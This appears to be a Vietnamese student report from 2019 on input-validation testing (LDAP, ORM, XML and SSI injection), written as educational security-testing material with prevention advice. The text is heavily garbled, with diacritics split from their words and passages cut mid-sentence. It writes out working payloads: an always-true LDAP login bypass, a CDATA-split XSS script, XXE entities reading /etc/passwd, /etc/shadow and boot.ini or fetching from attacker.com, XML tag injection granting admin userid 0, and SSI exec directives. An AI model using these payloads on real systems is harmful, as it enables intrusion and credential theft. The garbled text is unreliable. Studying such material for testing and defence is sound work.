ĐÁNH GIÁ VÀ KIỂM ĐỊNH AN TOÀN HỆ THỐNG THÔNG TIN Đề tài :Kiểm tra xác nhận đầu vào Kiểm tra tiêm LDAP Giao thức truy cập thư mục nhẹ (LDAP) là một giao thức dịch vụ thư mục mở và trung lập với nhà cung cấp chạy trên một lớp phía trên ngăn xếp TCP IP. Nó cung cấp cơ chế thích hợp để thực hiện các điều khiển xác thực và ủy quyền, những thứ thường được sử dụng trong khi phát triển các ứng dụng mạng nội bộ và internet (web). II. Thử nghiệm tiêm ORM ORM Injection là một cuộc tấn công sử dụng SQL Injection đối với mô hình đối tượng truy cập dữ liệu được tạo bởi ORM. Từ quan điểm của một người thử nghiệm, cuộc tấn công này gần như giống hệt với cuộc tấn công SQL Injection. Tuy nhiên, lỗ hổng tiêm tồn tại trong mã được tạo bởi công cụ ORM. Kiểm tra tiêm XML là khi người kiểm tra cố gắng tiêm tài liệu XML vào ứng dụng. Nếu trình phân tích cú pháp XML không xác thực dữ liệu theo ngữ cảnh, thì thử nghiệm sẽ cho kết quả dương tính. SSI là các chỉ thị có trên các ứng dụng Web được sử dụng để cung cấp trang HTML có nội dung động. Chúng tương tự như CGI, ngoại trừ việc các SSI được sử dụng để thực hiện một số hành động trước khi trang hiện tại được tải hoặc trong khi trang đang được trực quan hóa. Để làm như vậy, máy chủ web sẽ phân tích SSI trước khi cung cấp trang cho người dùng.
Trang 1Đ tài 10:Ki m tra xác nh n đ u vào ề ể ậ ầ
Ngành: Công ngh thông tinệChuyên ngành: An toàn thông tin
Hà N i, 2019ộ
Trang 2Gi ng viên h ả ướ ng d n: ẫ
Hà N i, 2019ộ
Trang 3M C L C Ụ Ụ
Trang 4I. Ki m tra tiêm LDAP ể
I.1. Tóm l ượ t ki m tra tiêm LDAP ể
Giao th c truy c p th m c nh (LDAP) là m t giao th c d ch v th ứ ậ ư ụ ẹ ộ ứ ị ụ ư
m c m và trung l p v i nhà cung c p ch y trên m t l p phía trên ngăn ụ ở ậ ớ ấ ạ ộ ớ
x p TCP / IP.ế Nó cung c p c ch thích h p đ th c hi n các đi u khi n ấ ơ ế ợ ể ự ệ ề ểxác th c và y quy n, nh ng th thự ủ ề ữ ứ ường đượ ử ục s d ng trong khi phát tri n các ng d ng m ng n i b và internet (web).ể ứ ụ ạ ộ ộ
Tiêm LDAP là máy ch LDAP l u tr thông tin đủ ư ữ ược khách hàng truy
c p b ng các phiên LDAP (thậ ằ ường có th i gian ch đờ ờ ược xác đ nh ị
trướ Các hành đ ng c b n nh t đc) ộ ơ ả ấ ược th c hi n sau khi phiên đự ệ ược b t ắ
đ u là thêm, xóa và s a đ i các m c.ầ ử ổ ụ Các ho t đ ng khác thạ ộ ường được
M t ng d ng web có th s d ng LDAP đ cho phép ngộ ứ ụ ể ử ụ ể ười dùng xác
th c ho c tìm ki m thông tin c a ngự ặ ế ủ ười dùng khác trong c u trúc công ấ
ty M c tiêu c a các cu c t n công tiêm LDAP là tiêm các ký t tìm ki m b ụ ủ ộ ấ ự ế ộ
l c tìm ki m LDAP trong m t truy v n sẽ đọ ế ộ ấ ượ ức ng d ng th c thi.ụ ự
Trang 5find(“cn = John & userPassword =mypass”)
Sẽ được đ i di n nh sau”ạ ệ ư
find(“ (& (cn = John) ( userPassword =mypass))”)
Các đi u ki n Boolean và t p h p nhóm trên b l c tìm ki m LDAP ề ệ ậ ợ ộ ọ ế
có th để ược áp d ng b ng cách s d ng các siêu ký t sau:ụ ằ ử ụ ự
Metachar Ý nghĩa
& Boolean VÀ
| Boolean HO CẶ ! Boolean KHÔNG
th y trong RFC liên quan.ấ
Vi c khai thác thành công l h ng tiêm LDAP có th cho phép ngệ ỗ ổ ể ười thửnghi m:ệ
• Truy c p n i dung trái phépậ ộ
• Tr n tránh ng d ngố ứ ụ
• Thu th p thông tin trái phépậ
Trang 6• Thêm ho c s a đ i các đ i tặ ử ổ ố ượng bên trong c u trúc cây LDAP.ấ
Và b l c sẽ trông nh sauộ ọ ư : searchfilter="(cn=*)"
phù h p v i m i đ i tợ ớ ọ ố ượng có thu c tính 'cn' tộ ương đương v i m i th ớ ọ ứ
N u ng d ng d b tiêm LDAP, ng d ng sẽ hi n th m t s ho c ế ứ ụ ễ ị ứ ụ ể ị ộ ố ặ
t t c các thu c tính c a ngấ ả ộ ủ ười dùng, tùy thu c vào lu ng th c thi c a ng ộ ồ ự ủ ứ
d ng và quy n c a ngụ ề ủ ười dùng được k t n i LDAP.ế ố Người ki m tra có th ể ể
s d ng phử ụ ương pháp th và sai, b ng cách chèn tham s '(', '|', '&', '*' và ử ằ ốcác ký t khác, đ ki m tra l i ng d ngự ể ể ỗ ứ ụ
I.2.2. Đăng nh pậ
N u m t ng d ng web s d ng LDAP đ ki m tra thông tin đăng ế ộ ứ ụ ử ụ ể ể
nh p c a ngậ ủ ười dùng trong quá trình đăng nh p và d b tiêm LDAP, có thậ ễ ị ể
b qua ki m tra xác th c b ng cách tiêm truy v n LDAP luôn đúng (theo ỏ ể ự ằ ấcách tương t nh tiêm SQL và XPATH).ự ư
Trang 7searchlogin = "(& (uid = *) (uid = *)) (| (uid = *) (userPassword = {MD5}
X03MO1qnZdYdgyfeuILPmQ ==))";
đó là chính xác và luôn luôn đúng b ng cách này, ngằ ười ki m tra sẽ đ t ể ạ
được tr ng thái đăng nh p v i t cách là ngạ ậ ớ ư ười dùng đ u tiên trong cây ầLDAP
I.3. Làm th nào đ ngăn ch n các cu c t n công tiêm LDAP? ế ể ặ ộ ấ
L h ng LDAP v c b n là các l h ng l p ng d ng.ỗ ổ ề ơ ả ỗ ổ ớ ứ ụ Đi u này có nghĩaề
là các đi u kho n b o m t thông thề ả ả ậ ường nh tư ường l a và các công c ử ụgiam gi xâm nh p không hi u qu trong vi c phát hi n tiêm LDAP.ữ ậ ệ ả ệ ệ M c ặ
dù các đi m ti p xúc t i thi u và các nguyên t c t i u c a t i thi u là h uể ế ố ể ắ ố ư ủ ố ể ữích, các gi i pháp th c s cho các v n đ này bao g m:ả ự ự ấ ề ồ
• C u hình LDAP an toànấ - Đi u này liên quan đ n vi c b o v thông ề ế ệ ả ệtin và d li u nh y c m trong th m c LDAP, đ c bi t là trong khi xữ ệ ạ ả ư ụ ặ ệ ử
lý các quy n trên đ i tề ố ượng người dùng Đây là t t c quan tr ng ấ ả ọ
h n khi th m c đơ ư ụ ượ ử ục s d ng b i ng d ng web / thi t b di đ ng ở ứ ụ ế ị ộcho m t quá trình đăng nh p.ộ ậ
• Xác th c đ u vào nâng caoự ầ - T t c đ u vào cu i c a ngấ ả ầ ố ủ ười dùng
ph i đả ược v sinh kỹ lệ ưỡng Nó không có các ký t và chu i đáng ngự ỗ ờ
có th gây h i.ể ạ
• Quy đ nh đ u raị ầ - Các gi i h n và h n ch cũng nên đớ ạ ạ ế ược đ t đ i v iặ ố ớ
lượng d li u / thông tin đữ ệ ược máy ch LDAP tr v cho máy khách.ủ ả ề
II. Th nghi m tiêm ORM ử ệ
II.1. Tóm l ượ ề t v th nghi m tiêm ORM ử ệ
ORM Injection là m t cu c t n công s d ng SQL Injection đ i v i ộ ộ ấ ử ụ ố ớ
mô hình đ i tố ượng truy c p d li u đậ ữ ệ ượ ạc t o b i ORM.ở T quan đi m c a ừ ể ủ
m t ngộ ười th nghi m, cu c t n công này g n nh gi ng h t v i cu c t n ử ệ ộ ấ ầ ư ố ệ ớ ộ ấcông SQL Injection Tuy nhiên, l h ng tiêm t n t i trong mã đỗ ổ ồ ạ ượ ạc t o b i ởcông c ORM.ụ
ORM là m t công c l p b n đ quan h đ i tộ ụ ậ ả ồ ệ ố ượng Nó đượ ửc s
d ng đ đ y nhanh s phát tri n hụ ể ẩ ự ể ướng đ i tố ượng trong l p truy c p d ớ ậ ữ
li u c a các ng d ng ph n m m, bao g m c các ng d ng web.ệ ủ ứ ụ ầ ề ồ ả ứ ụ L i ích ợ
c a vi c s d ng công c ORM bao g m t o nhanh m t l p đ i tủ ệ ử ụ ụ ồ ạ ộ ớ ố ượng đ ểgiao ti p v i c s d li u quan h , các m u mã đế ớ ơ ở ữ ệ ệ ẫ ược tiêu chu n hóa cho ẩ
Trang 8các đ i tố ượng này và thường là m t t p h p các hàm an toàn đ b o v ộ ậ ợ ể ả ệ
ch ng l i các cu c t n công SQL Injection.ố ạ ộ ấ Các đ i tố ượng đượ ạc t o ORM có
th s d ng SQL ho c trong m t s trể ử ụ ặ ộ ố ường h p, m t bi n th c a SQL, đ ợ ộ ế ể ủ ể
th c hi n các thao tác CRUD (T o, Đ c, C p nh t, Xóa) trên c s d ự ệ ạ ọ ậ ậ ơ ở ữ
li u.ệ Tuy nhiên, có th đ i v i m t ng d ng web s d ng các đ i tể ố ớ ộ ứ ụ ử ụ ố ượng
đượ ạc t o ORM d b t n công SQL Injection n u các phễ ị ấ ế ương th c có th ứ ể
ch p nh n các tham s đ u vào không đấ ậ ố ầ ược xác nh n.ậ
Các m u c n tìm trong mã bao g m:ẫ ầ ồ Các tham s đ u vào đố ầ ược
n i v i các chu i SQL Mã này s d ng ActiveRecord cho Ruby on Rails r t ố ớ ỗ ử ụ ấ
d b t n thễ ị ổ ương (m c dù m i ORM đ u có th b t n thặ ọ ề ể ị ổ ương)
Orders.find_all "customer_id = 123 AND order_date =
ứ ụ N u trình phân tích cú pháp XML không xác th c d li u theo ế ự ữ ệ
ng c nh, thì th nghi m sẽ cho k t qu dữ ả ử ệ ế ả ương tính
Trang 9Ph n này mô t các ví d th c t v XML Injection.ầ ả ụ ự ế ề Đ u tiên, m t giao ầ ộ
ti p ki u XML sẽ đế ể ược xác đ nh và các nguyên t c làm vi c c a nó đị ắ ệ ủ ược
gi i thích.ả Sau đó, phương th c khám phá trong đó chúng tôi c g ng chèn ứ ố ắcác siêu ký t XML.ự Sau khi hoàn thành bước đ u tiên, ngầ ười ki m tra sẽ cóể
m t s thông tin v c u trúc XML, do đó có th th tiêm d li u và th ộ ố ề ấ ể ử ữ ệ ẻXML (Tag Tag)
III.2. Cách ki m tra tiêm XML ể
Gi s có m t ng d ng web s d ng giao ti p ki u XML đ th c hi n ả ử ộ ứ ụ ử ụ ế ể ể ự ệđăng ký người dùng Đi u này đề ược th c hi n b ng cách t o và thêm nút ự ệ ằ ạ
Khi người dùng t đăng ký b ng cách đi n vào bi u m u HTML, ng d ng ự ằ ề ể ẫ ứ ụ
sẽ nh n đậ ược d li u c a ngữ ệ ủ ười dùng trong m t yêu c u tiêu chu n, vì ộ ầ ẩ
đ n gi n, sẽ đơ ả ượ ử ướ ạc g i d i d ng yêu c u GET.ầ
Ví d : các giá tr sau:ụ ị
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com
Trang 10Sẽ đ a ra yêu c u: ư ầ http://www.example.com/addUser.php? username=tony&password=Un6R34kb!e&email=s4tan@hell.com
Sau đó xây d ng thêm nút sau:ự
Trang 11Bước đ u tiên đ ki m tra m t ng d ng cho s hi n di n c a l h ng ầ ể ể ộ ứ ụ ự ệ ệ ủ ỗ ổXML Tiêm bao g m c g ng chèn các siêu ký t XML.ồ ố ắ ự
Các siêu ký t XML là:ự
• Trích d n đ n:ẫ ơ ' - Khi không được kh trùng, ký t này có th đ a ra ử ự ể ư
m t ngo i l trong quá trình phân tích cú pháp XML, n u giá tr độ ạ ệ ế ị ượcchèn sẽ là m t ph n c a giá tr thu c tính trong th ộ ầ ủ ị ộ ẻ
Ví d : gi s nh sau: ụ ả ử ư <node attrib='$inputValue” />
Vì v y ,n u ậ ế inputVakue = foo “ được kh i t o và sau đó chèn giá tr ở ạ ị
attrib: <node attrib = “foo” ”‘/> là sau đó k t qu tiêm XML là b t bi n.ế ả ấ ế
• Trích d n kép:ẫ " - ký t này có cùng ý nghĩa v i trích d n đ n và nó ự ớ ẫ ơ
có th để ượ ử ục s d ng n u giá tr thu c tính đế ị ộ ược đ t trong d u ặ ấ
ngo c kép.ặ
<node attrib = "$ inputValue" />
Vì v y n u:ậ ế $inputValue = foo “ thay th cho ế <node attrib = foo” ”/>
Trang 12• Th nh n xét: <! - / ->ẻ ậ - Chu i ký t này đỗ ự ược hi u là b t đ u / k t ể ắ ầ ếthúc c a m t nh n xét.ủ ộ ậ Vì v y, b ng cách tiêm m t trong s chúng vào ậ ằ ộ ốtham s Tên ngố ười dùng:
<tagnode> & lt; </ tagnode>
được hình thành t t và h p l và đ i di n cho ký t '<' ASCII.ố ợ ệ ạ ệ ự
N u '&' không đế ược mã hóa b ng & amp;, thì nó có th đằ ể ượ ử ục s d ng đ ể
Trang 13nh ng tài li u không h p l : & foo không b ch m d t b ng ';'ư ệ ợ ệ ị ấ ứ ằ và &
foo; th c th không xác đ nh.ự ể ị
• D u phân cách ph n CDATA: <! [CDATA [/]]>ấ ầ - Ph n CDATA đầ ượ ửc s
d ng đ thoát các kh i văn b n có ch a các ký t mà n u không sẽ ụ ể ố ả ứ ự ế
được nh n d ng là đánh d u.ậ ạ ấ Nói cách khác, các ký t đự ược bao trong
ph n CDATA không đầ ược phân tích cú pháp b i trình phân tích cú pháp ởXML
Ví d : n u có nhu c u th hi n chu i '<foo>' bên trong nút văn b n, ph n ụ ế ầ ể ệ ỗ ả ầCDATA có th để ượ ử ục s d ng:
Người ki m tra có th th tiêm chu i CDATA cu i ']]>' đ c g ng ể ể ử ỗ ố ể ố ắ
vô hi u hóa tài li u XMLệ ệ
userName = ]]>
Đi u này tr thành <ề ở username><![CDATA[]]>]]></username>
Đó là m t đo n XML không h p l ộ ạ ợ ệ
M t th nghi m khác có liên quan đ n th CDATA.ộ ử ệ ế ẻ Gi s r ng tài ả ử ằ
li u XML đệ ượ ửc x lý đ t o trang HTML.ể ạ Trong trường h p này, các d u ợ ấphân cách ph n CDATA có th đầ ể ược lo i b m t cách đ n gi n mà không ạ ỏ ộ ơ ả
c n ki m tra thêm n i dung c a chúng.ầ ể ộ ủ Sau đó, có th tiêm các th HTML, ể ẻ
sẽ được đ a vào trang đư ượ ạc t o, b qua hoàn toàn các thói quen v sinh ỏ ệ
hi n có.ệ
Hãy xem xét m t ví d c th ộ ụ ụ ể Gi s chúng ta có m t nút ch a m t ả ử ộ ứ ộ
s văn b n sẽ đố ả ược hi n th l i cho ngể ị ạ ười dùng
Trang 14<html> $HTMLCode </html>
Sau đó, k t n công có th cung c p đ u vào sau:ẻ ấ ể ấ ầ
$ HTMLCode = <! [CDATA [<]]> script <! [CDATA [>]]> alert ('xss') <! [CDATA [<]]> / script <! [CDATA [>]]>
th là m t URI, thì th c th đó để ộ ự ể ượ ọc g i là m t th c th bên ngoài.ộ ự ể Tr khiừ
đượ ấc c u hình đ làm khác, các th c th bên ngoài bu c trình phân tích cú ể ự ể ộpháp XML truy c p vào tài nguyên đậ ược ch đ nh b i URI, ví d : m t t p ỉ ị ở ụ ộ ệtrên máy c c b ho c trên các h th ng t xa.ụ ộ ặ ệ ố ừ Hành vi này làm cho ng ứ
d ng b t n công XML eXternal Entity (XXE), có th đụ ị ấ ể ượ ử ục s d ng đ th c ể ự
hi n t ch i d ch v c a h th ng c c b , truy c p trái phép vào các t p ệ ừ ố ị ụ ủ ệ ố ụ ộ ậ ệtrên máy c c b , quét máy t xa và th c hi n t ch i d ch v c a các h ụ ộ ừ ự ệ ừ ố ị ụ ủ ệ
th ng t xa ố ừ
Đ ki m tra l h ng XXE, ngể ể ỗ ổ ười ta có th s d ng đ u vào sau:ể ử ụ ầ
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
Th nghi m này có th làm s p máy ch web (trên h th ng UNIX), ử ệ ể ậ ủ ệ ố
n u trình phân tích cú pháp XML c g ng thay th th c th b ng n i dung ế ố ắ ế ự ể ằ ộ
c a t p / dev / ng u nhiên.ủ ệ ẫ
Các xét nghi m h u ích khác nh sau:ệ ữ ư
Trang 15<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt"
>]><foo>&xxe;</foo>
Tag tiêm :Sau khi hoàn thành bước đ u tiên, ngầ ười ki m tra sẽ có ể
m t s thông tin v c u trúc c a tài li u XML.ộ ố ề ấ ủ ệ Sau đó, có th th tiêm d ể ử ữ
li u và th XML.ệ ẻ Chúng tôi sẽ đ a ra m t ví d v cách đi u này có th d nư ộ ụ ề ề ể ẫ
đ n m t cu c t n công leo thang đ c quy n.ế ộ ộ ấ ặ ề
Hãy xem xét các ng d ng trứ ụ ướ B ng cách chèn các giá tr sau:c ằ ị
Trang 16</user>
</users>
T p XML k t qu đệ ế ả ược hình thành t t.ố H n n a, có kh năng, đ i ơ ữ ả ố
v i tony ngớ ười dùng, giá tr đị ược liên k t v i th userid là giá tr xu t hi n ế ớ ẻ ị ấ ệ
cu i cùng, t c là 0 (ID qu n tr viên).ố ứ ả ị Nói cách khác, chúng tôi đã tiêm cho
<!ELEMENT users (user+) >
<!ELEMENT user (username,password,userid,mail+) >
<!ELEMENT username (#PCDATA) >
<!ELEMENT password (#PCDATA) >
<!ELEMENT userid (#PCDATA) >
<!ELEMENT mail (#PCDATA) >
]>
Trang 17L u ý r ng nút userid đư ằ ược xác đ nh b ng cardinality 1 Trong ị ằ
trường h p này, cu c t n công mà chúng tôi đã th hi n trợ ộ ấ ể ệ ước đó (và các
cu c t n công đ n gi n khác) sẽ không ho t đ ng, n u tài li u XML độ ấ ơ ả ạ ộ ế ệ ược xác th c ch ng l i DTD c a nó trự ố ạ ủ ước khi x y ra b t kỳ x lý nào.ả ấ ử
Tuy nhiên, v n đ này có th đấ ề ể ược gi i quy t, n u ngả ế ế ười ki m tra ể
ki m soát giá tr c a m t s nút trể ị ủ ộ ố ước nút vi ph m (userid, trong ví d ạ ụnày) Trong th c t , ngự ế ười ki m tra có th nh n xét nút đó, b ng cách đ a ể ể ậ ằ ư
Trang 18IV. Ki m th tiêm SSI ể ử
IV.1. Tóm l ượ t tiêm SSI
SSI là các ch th có trên các ng d ng Web đỉ ị ứ ụ ượ ử ục s d ng đ cung ể
c p trang HTML có n i dung đ ng.ấ ộ ộ Chúng tương t nh CGI, ngo i tr vi cự ư ạ ừ ệcác SSI đượ ử ục s d ng đ th c hi n m t s hành đ ng trể ự ệ ộ ố ộ ước khi trang hi n ệ
t i đạ ượ ảc t i ho c trong khi trang đang đặ ược tr c quan hóa.ự Đ làm nh ể ư
v y, máy ch web sẽ phân tích SSI trậ ủ ước khi cung c p trang cho ngấ ười dùng
Các máy ch web thủ ường cung c p cho các nhà phát tri n kh năng ấ ể ảthêm các đo n mã đ ng nh bên trong các trang HTML tĩnh mà không ph iạ ộ ỏ ả
x lý các ngôn ng phía máy ch ho c máy khách chính th c.ử ữ ủ ặ ứ Tính năng này đượ cbao g mồ b iở Server-Side Bao g mồ ( SSI ) Trong th nghi m tiêm ử ệSSI, chúng tôi ki m tra xem có th tiêm vào d li u ng d ng sẽ để ể ữ ệ ứ ụ ược gi i ảthích b i các c ch c a SSI hay không.ở ơ ế ủ Vi c khai thác thành công l h ng ệ ỗ ổnày cho phép k t n công tiêm mã vào các trang HTML ho c th m chí th c ẻ ấ ặ ậ ự
hi n th c thi mã t xa.ệ ự ừ
Đ t m t ch th SSI vào m t tài li u HTML tĩnh cũng d nh vi t m t đo n ặ ộ ỉ ị ộ ệ ễ ư ế ộ ạ
mã nh sau:ư
<! - # echo var = "DATE_LOCAL" ->
đ in ra th i gian hi n t iể ờ ệ ạ <! #include virtual="/cgi-bin/counter.pl" >
đ bao g m đ u ra c a t p l nh CGI <! - #include virtual = "/ footer.html" ể ồ ầ ủ ậ ệ->
đ bao g m n i dung c a m t t p ho c li t kê các t p trong m t th ể ồ ộ ủ ộ ệ ặ ệ ệ ộ ư
m c.<! - # exec cmd = "ls" ->ụ
M t cách khác đ khám phá xem ng d ng có d b t n công hay ộ ể ứ ụ ễ ị ấkhông là xác minh s hi n di n c a các trang có ph n m r ng stm, shtm ự ệ ệ ủ ầ ở ộ
và shtml Tuy nhiên, vi c thi u các lo i trang này không có nghĩa là ng ệ ế ạ ứ
d ng đụ ược b o v ch ng l i các cu c t n công c a SSI.ả ệ ố ạ ộ ấ ủ
Sau đó, n u h tr SSI c a máy ch web đế ỗ ợ ủ ủ ược b t, máy ch sẽ phân ậ ủtích các ch th này.ỉ ị Trong c u hình m c đ nh, thông thấ ặ ị ường, h u h t các ầ ếmáy ch web không cho phép s d ng l nhủ ử ụ ệ exec đ th c thi các l nh h ể ự ệ ệ
th ng.ố
Nh trong m i tình hu ng xác th c đ u vào x u, các v n đ phát ư ọ ố ự ầ ấ ấ ềsinh khi người dùng ng d ng web đứ ụ ược phép cung c p d li u khi n ng ấ ữ ệ ế ứ
d ng ho c máy ch web ho t đ ng theo cách không lụ ặ ủ ạ ộ ường trước
đượ Liên quan đ n vi c tiêm SSI, k t n công có th cung c p đ u vào, c ế ệ ẻ ấ ể ấ ầ